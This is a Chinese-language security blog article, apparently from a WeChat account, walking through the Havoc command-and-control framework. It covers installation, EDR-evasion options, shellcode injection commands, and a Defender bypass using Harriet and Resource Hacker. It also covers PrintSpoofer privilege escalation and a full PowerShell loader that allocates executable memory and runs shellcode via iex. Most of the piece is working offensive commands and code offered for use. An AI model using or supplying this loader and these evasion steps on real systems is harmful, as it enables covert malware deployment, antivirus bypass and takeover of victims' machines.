Havoc C2相关

文摘   其他   2024-02-06 16:00   陕西  

安装

这里推荐使用Ubuntu20.04.6或Kali

下载地址:

https://releases.ubuntu.com/focal/

安装Havoc如下:

git clone https://github.com/HavocFramework/Havoc.gitcd Havoc
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
cd teamservergo mod download golang.org/x/sysgo mod download github.com/ugorji/gocd ..

构建以及运行:

sudo make ts-build./havoc server --profile ./profiles/havoc.yaotl -v --debug

构建客户端:

make client-build./havoc client

生成Shellcode

Indirect SysCall表示间接系统调用,对此EDR来说是合法的,通过间接系统调用来替换直接系统调用,直接系统调用就好比直接使用R0层的函数来直接调用,而间接系统调用的话中间有一个jmp操作,这样EDR看来就是合法的。

Stack Duplication表示堆栈复制,在Sleep期间使用堆栈复制来逃避我们的操作。

Foliage是一种睡眠混淆的方式,也可以使用EKKO等混淆方式。比如之前我们可以使用挂钩Sleep的方式来进行堆栈加密,比如RC4。

RtlCreateTimer表示在Sleep期间对ROP链本身进行排队。

Hardware beakpoints表示通过硬件断点来绕过AMSI。

我们可以通过标记Mark as Alive来表示Beacon已经掉了。

关于命令

关于命令这里主要介绍如下几个命令:

shellcode命令

shellcode这个命令可以对目标进程注入shellcode。

如下有3种方式可以注入shellcode,我们来看下这三种都如何使用。

第一种是Inject,可以将shellcode注入到远程进程中。

shellcode inject x64 2252 /home/kali/Desktop/demon.x64.bin

第二种是execute,这种方式是在自身的进程中进行注入shellcode。

shellcode execute x64 /home/kali/Desktop/demon.x64.bin

第三种是生成一个临时的进程并注入其中。

shellcode spawn x64 /home/kali/Desktop/demon.x64.bin

dotnet命令

我们可以使用如下命令来运行:

dotnet inline-execute /home/kali/Desktop/SharpUp.exe audit

比如我们使用SharpUp.exe这个dotnet程序来检查是否可以bypass uac。

绕过Defender

首先通过Harriet对我们的shellcode进行AES处理。

https://github.com/assume-breach/Home-Grown-Red-Team

生成Shellcode:

然后使用Harriet进行混淆处理,之后会生成一个exe文件。

然后我们需要使用resource Hacker对其打一个资源文件即可过Defender。

成功上线:

那么我们同样也可以使用dotnet命令来进行提权相关的操作。

dotnet inline-execute /home/kali/PrintSpoofer.exe -c -i C:\Users\Admin\Desktop\mar.exe

Bof

如果我们需要横向移动的话,需要加入Bof插件。

因为HAVOC更新之后将一些功能直接Bof化了,我们可以访问它的项目然后下载。

https://github.com/HavocFramework/Modules

下载之后,我们切换到HAVOC的Script manager中然后选择loader加载.py文件即可。

加进来之后我们查看jump-exec就有这个命令了。

HAVOC结合Powershell上线

首先生成shellcode.bin文件。

然后通过xxd将shellcode.bin文件转换。

xxd -p shellcode.bin | tr -d '\n' | sed 's/.\{2\}/0x&,/g' > shellcode.payload

然后将里面的内容复制出来,但是需要知道它的大小是多少。

cat shellcode.payload | tr ',' ' ' | wc -w

如下powershell模板:

$MyBusinessLogic = @"using System;using System.Runtime.InteropServices;
public class MyBusinessLogic { static byte[] my_buf = new byte[shellcode的大小] { shellcode };
// declaring VirtualAlloc function from kernel32.dll [DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr address, uint dwSize, uint allocType, uint mode);
// create delegate signature for executor function [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate void WindowRun();
public static void Main() { // get pointer of allocated buffer IntPtr my_virt_alloc_pointer = VirtualAlloc(IntPtr.Zero, Convert.ToUInt32(my_buf.Length), 0x1000, 0x40); // write the buffer into memory Marshal.Copy(my_buf, 0x0, my_virt_alloc_pointer, my_buf.Length); // get function pointer of the allocated buffer WindowRun business_run_logic = Marshal.GetDelegateForFunctionPointer<WindowRun>(my_virt_alloc_pointer); // run "business-logic" business_run_logic(); }}"@Add-Type $MyBusinessLogic
[MyBusinessLogic]::Main()

执行:

powershell "cat -raw shellcode.ps1 | iex"

成功上线:

参考:

https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b\

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章